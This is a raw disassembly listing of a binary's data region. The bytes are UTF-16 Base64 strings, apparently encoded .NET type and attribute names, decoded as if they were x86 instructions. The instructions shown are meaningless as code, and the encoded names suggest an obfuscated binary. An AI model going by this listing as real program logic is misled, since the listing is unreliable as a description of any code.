41ba36:	30 00                	xor    %al,(%eax)
41ba38:	63 00                	arpl   %eax,(%eax)
41ba3a:	6d                   	insl   (%dx),%es:(%edi)
41ba3b:	00 6c 00 69          	add    %ch,0x69(%eax,%eax,1)
41ba3f:	00 64 00 58          	add    %ah,0x58(%eax,%eax,1)
41ba43:	00 52 00             	add    %dl,0x0(%edx)
41ba46:	6c                   	insb   (%dx),%es:(%edi)
41ba47:	00 2e                	add    %ch,(%esi)
41ba49:	06                   	push   %es
41ba4a:	45                   	inc    %ebp
41ba4b:	00 46 00             	add    %al,0x0(%esi)
41ba4e:	7a 00                	jp     0x41ba50
41ba50:	63 00                	arpl   %eax,(%eax)
41ba52:	32 00                	xor    (%eax),%al
41ba54:	56                   	push   %esi
41ba55:	00 74 00 59          	add    %dh,0x59(%eax,%eax,1)
41ba59:	00 6d 00             	add    %ch,0x0(%ebp)
41ba5c:	78 00                	js     0x41ba5e
41ba5e:	35 00 51 00 32       	xor    $0x32005100,%eax
41ba63:	00 39                	add    %bh,(%ecx)
41ba65:	00 77 00             	add    %dh,0x0(%edi)
41ba68:	65 00 58 00          	add    %bl,%gs:0x0(%eax)
41ba6c:	4a                   	dec    %edx
41ba6d:	00 70 00             	add    %dh,0x0(%eax)
41ba70:	5a                   	pop    %edx
41ba71:	00 32                	add    %dh,(%edx)
41ba73:	00 68 00             	add    %ch,0x0(%eax)
41ba76:	30 00                	xor    %al,(%eax)
41ba78:	51                   	push   %ecx
41ba79:	00 58 00             	add    %bl,0x0(%eax)
41ba7c:	52                   	push   %edx
41ba7d:	00 30                	add    %dh,(%eax)
41ba7f:	00 63 00             	add    %ah,0x0(%ebx)
41ba82:	6d                   	insl   (%dx),%es:(%edi)
41ba83:	00 6c 00 69          	add    %ch,0x69(%eax,%eax,1)
41ba87:	00 64 00 58          	add    %ah,0x58(%eax,%eax,1)
41ba8b:	00 52 00             	add    %dl,0x0(%edx)
41ba8e:	6c                   	insb   (%dx),%es:(%edi)
41ba8f:	00 2e                	add    %ch,(%esi)
41ba91:	06                   	push   %es
41ba92:	45                   	inc    %ebp
41ba93:	00 46 00             	add    %al,0x0(%esi)
41ba96:	7a 00                	jp     0x41ba98
41ba98:	63 00                	arpl   %eax,(%eax)
41ba9a:	32 00                	xor    (%eax),%al
41ba9c:	56                   	push   %esi
41ba9d:	00 74 00 59          	add    %dh,0x59(%eax,%eax,1)
41baa1:	00 6d 00             	add    %ch,0x0(%ebp)
41baa4:	78 00                	js     0x41baa6
41baa6:	35 00 51 00 32       	xor    $0x32005100,%eax
41baab:	00 39                	add    %bh,(%ecx)
41baad:	00 74 00 63          	add    %dh,0x63(%eax,%eax,1)
41bab1:	00 47 00             	add    %al,0x0(%edi)
41bab4:	46                   	inc    %esi
41bab5:	00 75 00             	add    %dh,0x0(%ebp)
41bab8:	65 00 55 00          	add    %dl,%gs:0x0(%ebp)
41babc:	46                   	inc    %esi
41babd:	00 30                	add    %dh,(%eax)
41babf:	00 64 00 48          	add    %ah,0x48(%eax,%eax,1)
41bac3:	00 4a 00             	add    %cl,0x0(%edx)
41bac6:	70 00                	jo     0x41bac8
41bac8:	59                   	pop    %ecx
41bac9:	00 6e 00             	add    %ch,0x0(%esi)
41bacc:	56                   	push   %esi
41bacd:	00 30                	add    %dh,(%eax)
41bacf:	00 5a 00             	add    %bl,0x0(%edx)
41bad2:	51                   	push   %ecx
41bad3:	00 42 00             	add    %al,0x0(%edx)
41bad6:	53                   	push   %ebx
41bad7:	00 64 00 57          	add    %ah,0x57(%eax,%eax,1)
41badb:	00 35 00 30 00 61    	add    %dh,0x61003000
41bae1:	00 57 00             	add    %dl,0x0(%edi)
41bae4:	31 00                	xor    %eax,(%eax)
41bae6:	6c                   	insb   (%dx),%es:(%edi)
41bae7:	00 51 00             	add    %dl,0x0(%ecx)
41baea:	32 00                	xor    (%eax),%al
41baec:	39 00                	cmp    %eax,(%eax)
41baee:	74 00                	je     0x41baf0
41baf0:	63 00                	arpl   %eax,(%eax)
41baf2:	47                   	inc    %edi
41baf3:	00 46 00             	add    %al,0x0(%esi)
41baf6:	30 00                	xor    %al,(%eax)
41baf8:	61                   	popa
41baf9:	00 57 00             	add    %dl,0x0(%edi)
41bafc:	4a                   	dec    %edx
41bafd:	00 70 00             	add    %dh,0x0(%eax)
41bb00:	62 00                	bound  %eax,(%eax)
41bb02:	47                   	inc    %edi
41bb03:	00 6c 00 30          	add    %ch,0x30(%eax,%eax,1)
41bb07:	00 65 00             	add    %ah,0x0(%ebp)
41bb0a:	55                   	push   %ebp
41bb0b:	00 46 00             	add    %al,0x0(%esi)
41bb0e:	30 00                	xor    %al,(%eax)
41bb10:	64 00 48 00          	add    %cl,%fs:0x0(%eax)
41bb14:	4a                   	dec    %edx
41bb15:	00 70 00             	add    %dh,0x0(%eax)
41bb18:	59                   	pop    %ecx
41bb19:	00 6e 00             	add    %ch,0x0(%esi)
41bb1c:	56                   	push   %esi
41bb1d:	00 30                	add    %dh,(%eax)
41bb1f:	00 5a 00             	add    %bl,0x0(%edx)
41bb22:	51                   	push   %ecx
41bb23:	00 42 00             	add    %al,0x0(%edx)
41bb26:	43                   	inc    %ebx
41bb27:	00 65 00             	add    %ah,0x0(%ebp)
41bb2a:	58                   	pop    %eax
41bb2b:	00 52 00             	add    %dl,0x0(%edx)
41bb2e:	6c                   	insb   (%dx),%es:(%edi)
41bb2f:	00 2e                	add    %ch,(%esi)
41bb31:	06                   	push   %es
41bb32:	45                   	inc    %ebp
41bb33:	00 31                	add    %dh,(%ecx)
41bb35:	00 76 00             	add    %dh,0x0(%esi)
41bb38:	64 00 6d 00          	add    %ch,%fs:0x0(%ebp)
41bb3c:	55                   	push   %ebp
41bb3d:	00 2e                	add    %ch,(%esi)
41bb3f:	06                   	push   %es
41bb40:	55                   	push   %ebp
41bb41:	00 6d 00             	add    %ch,0x0(%ebp)
41bb44:	56                   	push   %esi
41bb45:	00 74 00 62          	add    %dh,0x62(%eax,%eax,1)
41bb49:	00 33                	add    %dh,(%ebx)
41bb4b:	00 5a 00             	add    %bl,0x0(%edx)
41bb4e:	6c                   	insb   (%dx),%es:(%edi)
41bb4f:	00 2e                	add    %ch,(%esi)
41bb51:	06                   	push   %es
41bb52:	48                   	dec    %eax
41bb53:	00 4e 00             	add    %cl,0x0(%esi)
41bb56:	6c                   	insb   (%dx),%es:(%edi)
41bb57:	00 64 00 46          	add    %ah,0x46(%eax,%eax,1)
41bb5b:	00 39                	add    %bh,(%ecx)
41bb5d:	00 44 00 62          	add    %al,0x62(%eax,%eax,1)
41bb61:	00 47 00             	add    %al,0x0(%edi)
41bb64:	6c                   	insb   (%dx),%es:(%edi)
41bb65:	00 6c 00 62          	add    %ch,0x62(%eax,%eax,1)
41bb69:	00 6e 00             	add    %ch,0x0(%esi)
41bb6c:	52                   	push   %edx
41bb6d:	00 54 00 61          	add    %dl,0x61(%eax,%eax,1)
41bb71:	00 58 00             	add    %bl,0x0(%eax)
41bb74:	70 00                	jo     0x41bb76
41bb76:	6c                   	insb   (%dx),%es:(%edi)
41bb77:	00 2e                	add    %ch,(%esi)
41bb79:	06                   	push   %es
41bb7a:	46                   	inc    %esi
41bb7b:	00 4e 00             	add    %cl,0x0(%esi)
41bb7e:	6c                   	insb   (%dx),%es:(%edi)
41bb7f:	00 64 00 46          	add    %ah,0x46(%eax,%eax,1)
41bb83:	00 64 00 70          	add    %ah,0x70(%eax,%eax,1)
41bb87:	00 62 00             	add    %ah,0x0(%edx)
41bb8a:	6d                   	insl   (%dx),%es:(%edi)
41bb8b:	00 52 00             	add    %dl,0x0(%edx)
41bb8e:	76 00                	jbe    0x41bb90
41bb90:	64 00 31             	add    %dh,%fs:(%ecx)
41bb93:	00 4e 00             	add    %cl,0x0(%esi)
41bb96:	70 00                	jo     0x41bb98
41bb98:	65 00 6d 00          	add    %ch,%gs:0x0(%ebp)
41bb9c:	55                   	push   %ebp
41bb9d:	00 2e                	add    %ch,(%esi)
41bb9f:	06                   	push   %es
41bba0:	55                   	push   %ebp
41bba1:	00 33                	add    %dh,(%ebx)
41bba3:	00 6c 00 7a          	add    %ch,0x7a(%eax,%eax,1)
41bba7:	00 64 00 47          	add    %ah,0x47(%eax,%eax,1)
41bbab:	00 56 00             	add    %dl,0x0(%esi)
41bbae:	74 00                	je     0x41bbb0
41bbb0:	4c                   	dec    %esp
41bbb1:	00 6c 00 52          	add    %ch,0x52(%eax,%eax,1)
41bbb5:	00 6f 00             	add    %ch,0x0(%edi)
41bbb8:	63 00                	arpl   %eax,(%eax)
41bbba:	6d                   	insl   (%dx),%es:(%edi)
41bbbb:	00 56 00             	add    %dl,0x0(%esi)
41bbbe:	68 00 5a 00 47       	push   $0x47005a00
41bbc3:	00 6c 00 75          	add    %ch,0x75(%eax,%eax,1)
41bbc7:	00 5a 00             	add    %bl,0x0(%edx)
41bbca:	77 00                	ja     0x41bbcc
41bbcc:	42                   	inc    %edx
41bbcd:	00 54 00 65          	add    %dl,0x65(%eax,%eax,1)
41bbd1:	00 58 00             	add    %bl,0x0(%eax)
41bbd4:	4e                   	dec    %esi
41bbd5:	00 30                	add    %dh,(%eax)
41bbd7:	00 5a 00             	add    %bl,0x0(%edx)
41bbda:	57                   	push   %edi
41bbdb:	00 30                	add    %dh,(%eax)
41bbdd:	00 75 00             	add    %dh,0x0(%ebp)
41bbe0:	55                   	push   %ebp
41bbe1:	00 6e 00             	add    %ch,0x0(%esi)
41bbe4:	56                   	push   %esi
41bbe5:	00 75 00             	add    %dh,0x0(%ebp)
41bbe8:	64 00 47 00          	add    %al,%fs:0x0(%edi)
41bbec:	6c                   	insb   (%dx),%es:(%edi)
41bbed:	00 74 00 5a          	add    %dh,0x5a(%eax,%eax,1)
41bbf1:	00 53 00             	add    %dl,0x0(%ebx)
41bbf4:	35 00 57 00 5a       	xor    $0x5a005700,%eax
41bbf9:	00 58 00             	add    %bl,0x0(%eax)
41bbfc:	4a                   	dec    %edx
41bbfd:	00 7a 00             	add    %bh,0x0(%edx)
41bc00:	61                   	popa
41bc01:	00 57 00             	add    %dl,0x0(%edi)
41bc04:	39 00                	cmp    %eax,(%eax)
41bc06:	75 00                	jne    0x41bc08
41bc08:	61                   	popa
41bc09:	00 57 00             	add    %dl,0x0(%edi)
41bc0c:	35 00 6e 00 2e       	xor    $0x2e006e00,%eax
41bc11:	06                   	push   %es
41bc12:	46                   	inc    %esi
41bc13:	00 4e 00             	add    %cl,0x0(%esi)
41bc16:	30 00                	xor    %al,(%eax)
41bc18:	63 00                	arpl   %eax,(%eax)
41bc1a:	6d                   	insl   (%dx),%es:(%edi)
41bc1b:	00 6c 00 75          	add    %ch,0x75(%eax,%eax,1)
41bc1f:	00 5a 00             	add    %bl,0x0(%edx)
41bc22:	77 00                	ja     0x41bc24
41bc24:	42                   	inc    %edx
41bc25:	00 6b 00             	add    %ch,0x0(%ebx)
41bc28:	61                   	popa
41bc29:	00 58 00             	add    %bl,0x0(%eax)
41bc2c:	4e                   	dec    %esi
41bc2d:	00 77 00             	add    %dh,0x0(%edi)
41bc30:	62 00                	bound  %eax,(%eax)
41bc32:	33 00                	xor    (%eax),%eax
41bc34:	4e                   	dec    %esi
41bc35:	00 70 00             	add    %dh,0x0(%eax)
41bc38:	62 00                	bound  %eax,(%eax)
41bc3a:	6d                   	insl   (%dx),%es:(%edi)
41bc3b:	00 63 00             	add    %ah,0x0(%ebx)
41bc3e:	2e 06                	cs push %es
41bc40:	55                   	push   %ebp
41bc41:	00 33                	add    %dh,(%ebx)
41bc43:	00 6c 00 7a          	add    %ch,0x7a(%eax,%eax,1)
41bc47:	00 64 00 47          	add    %ah,0x47(%eax,%eax,1)
41bc4b:	00 56 00             	add    %dl,0x0(%esi)
41bc4e:	74 00                	je     0x41bc50
41bc50:	4c                   	dec    %esp
41bc51:	00 6b 00             	add    %ch,0x0(%ebx)
41bc54:	52                   	push   %edx
41bc55:	00 79 00             	add    %bh,0x0(%ecx)
41bc58:	59                   	pop    %ecx
41bc59:	00 58 00             	add    %bl,0x0(%eax)
41bc5c:	64 00 70 00          	add    %dh,%fs:0x0(%eax)
41bc60:	62 00                	bound  %eax,(%eax)
41bc62:	6d                   	insl   (%dx),%es:(%edi)
41bc63:	00 63 00             	add    %ah,0x0(%ebx)
41bc66:	2e 06                	cs push %es
41bc68:	5a                   	pop    %edx
41bc69:	00 32                	add    %dh,(%edx)
41bc6b:	00 56 00             	add    %dl,0x0(%esi)
41bc6e:	30 00                	xor    %al,(%eax)
41bc70:	58                   	pop    %eax
41bc71:	00 31                	add    %dh,(%ecx)
41bc73:	00 64 00 70          	add    %ah,0x70(%eax,%eax,1)
41bc77:	00 5a 00             	add    %bl,0x0(%edx)
41bc7a:	48                   	dec    %eax
41bc7b:	00 52 00             	add    %dl,0x0(%edx)
41bc7e:	6f                   	outsl  %ds:(%esi),(%dx)
41bc7f:	00 2e                	add    %ch,(%esi)
41bc81:	06                   	push   %es
41bc82:	47                   	inc    %edi
41bc83:	00 31                	add    %dh,(%ecx)
41bc85:	00 68 00             	add    %ch,0x0(%eax)
41bc88:	63 00                	arpl   %eax,(%eax)
41bc8a:	46                   	inc    %esi
41bc8b:	00 64 00 70          	add    %ah,0x70(%eax,%eax,1)
41bc8f:	00 5a 00             	add    %bl,0x0(%edx)
41bc92:	48                   	dec    %eax
41bc93:	00 52 00             	add    %dl,0x0(%edx)
41bc96:	6f                   	outsl  %ds:(%esi),(%dx)
41bc97:	00 2e                	add    %ch,(%esi)
41bc99:	06                   	push   %es
41bc9a:	47                   	inc    %edi
41bc9b:	00 31                	add    %dh,(%ecx)
41bc9d:	00 68 00             	add    %ch,0x0(%eax)
41bca0:	63 00                	arpl   %eax,(%eax)
41bca2:	45                   	inc    %ebp
41bca3:	00 68 00             	add    %ch,0x0(%eax)
41bca6:	6c                   	insb   (%dx),%es:(%edi)
41bca7:	00 61 00             	add    %ah,0x0(%ecx)
41bcaa:	57                   	push   %edi
41bcab:	00 64 00 30          	add    %ah,0x30(%eax,%eax,1)
41bcaf:	00 61 00             	add    %ah,0x0(%ecx)
41bcb2:	2e 06                	cs push %es
41bcb4:	42                   	inc    %edx
41bcb5:	00 73 00             	add    %dh,0x0(%ebx)
41bcb8:	5a                   	pop    %edx
41bcb9:	00 57 00             	add    %dl,0x0(%edi)
41bcbc:	35 00 6e 00 64       	xor    $0x64006e00,%eax
41bcc1:	00 47 00             	add    %al,0x0(%edi)
41bcc4:	67 00 2e 06 55       	add    %ch,0x5506
41bcc9:	00 33                	add    %dh,(%ebx)
41bccb:	00 6c 00 7a          	add    %ch,0x7a(%eax,%eax,1)
41bccf:	00 64 00 47          	add    %ah,0x47(%eax,%eax,1)
41bcd3:	00 56 00             	add    %dl,0x0(%esi)
41bcd6:	74 00                	je     0x41bcd8
41bcd8:	4c                   	dec    %esp
41bcd9:	00 6b 00             	add    %ch,0x0(%ebx)
41bcdc:	4e                   	dec    %esi
41bcdd:	00 76 00             	add    %dh,0x0(%esi)
41bce0:	62 00                	bound  %eax,(%eax)
41bce2:	58                   	pop    %eax
41bce3:	00 42 00             	add    %al,0x0(%edx)
41bce6:	76 00                	jbe    0x41bce8
41bce8:	62 00                	bound  %eax,(%eax)
41bcea:	6d                   	insl   (%dx),%es:(%edi)
41bceb:	00 56 00             	add    %dl,0x0(%esi)
41bcee:	75 00                	jne    0x41bcf0
41bcf0:	64 00 45 00          	add    %al,%fs:0x0(%ebp)
41bcf4:	31 00                	xor    %eax,(%eax)
41bcf6:	76 00                	jbe    0x41bcf8
41bcf8:	5a                   	pop    %edx
41bcf9:	00 47 00             	add    %al,0x0(%edi)
41bcfc:	56                   	push   %esi
41bcfd:	00 73 00             	add    %dh,0x0(%ebx)
41bd00:	2e 06                	cs push %es
41bd02:	45                   	inc    %ebp
41bd03:	00 64 00 6c          	add    %ah,0x6c(%eax,%eax,1)
41bd07:	00 64 00 46          	add    %ah,0x46(%eax,%eax,1)
41bd0b:	00 42 00             	add    %al,0x0(%edx)
41bd0e:	70 00                	jo     0x41bd10
41bd10:	65 00 47 00          	add    %al,%gs:0x0(%edi)
41bd14:	56                   	push   %esi
41bd15:	00 73 00             	add    %dh,0x0(%ebx)
41bd18:	2e 06                	cs push %es
41bd1a:	48                   	dec    %eax
41bd1b:	00 52 00             	add    %dl,0x0(%edx)
41bd1e:	68 00 61 00 57       	push   $0x57006100
41bd23:	00 77 00             	add    %dh,0x0(%edi)
41bd26:	2e 06                	cs push %es
41bd28:	59                   	pop    %ecx
41bd29:	00 33                	add    %dh,(%ebx)
41bd2b:	00 4a 00             	add    %cl,0x0(%edx)
41bd2e:	76 00                	jbe    0x41bd30
41bd30:	63 00                	arpl   %eax,(%eax)
41bd32:	33 00                	xor    (%eax),%eax
41bd34:	4e                   	dec    %esi
41bd35:	00 70 00             	add    %dh,0x0(%eax)
41bd38:	62 00                	bound  %eax,(%eax)
41bd3a:	6d                   	insl   (%dx),%es:(%edi)
41bd3b:	00 64 00 58          	add    %ah,0x58(%eax,%eax,1)
41bd3f:	00 59 00             	add    %bl,0x0(%ecx)
41bd42:	57                   	push   %edi
41bd43:	00 78 00             	add    %bh,0x0(%eax)
41bd46:	73 00                	jae    0x41bd48
41bd48:	2e 06                	cs push %es
41bd4a:	46                   	inc    %esi
41bd4b:	00 4e 00             	add    %cl,0x0(%esi)
41bd4e:	75 00                	jne    0x41bd50
41bd50:	59                   	pop    %ecx
41bd51:	00 57 00             	add    %dl,0x0(%edi)
41bd54:	74 00                	je     0x41bd56
41bd56:	6c                   	insb   (%dx),%es:(%edi)
41bd57:	00 54 00 47          	add    %dl,0x47(%eax,%eax,1)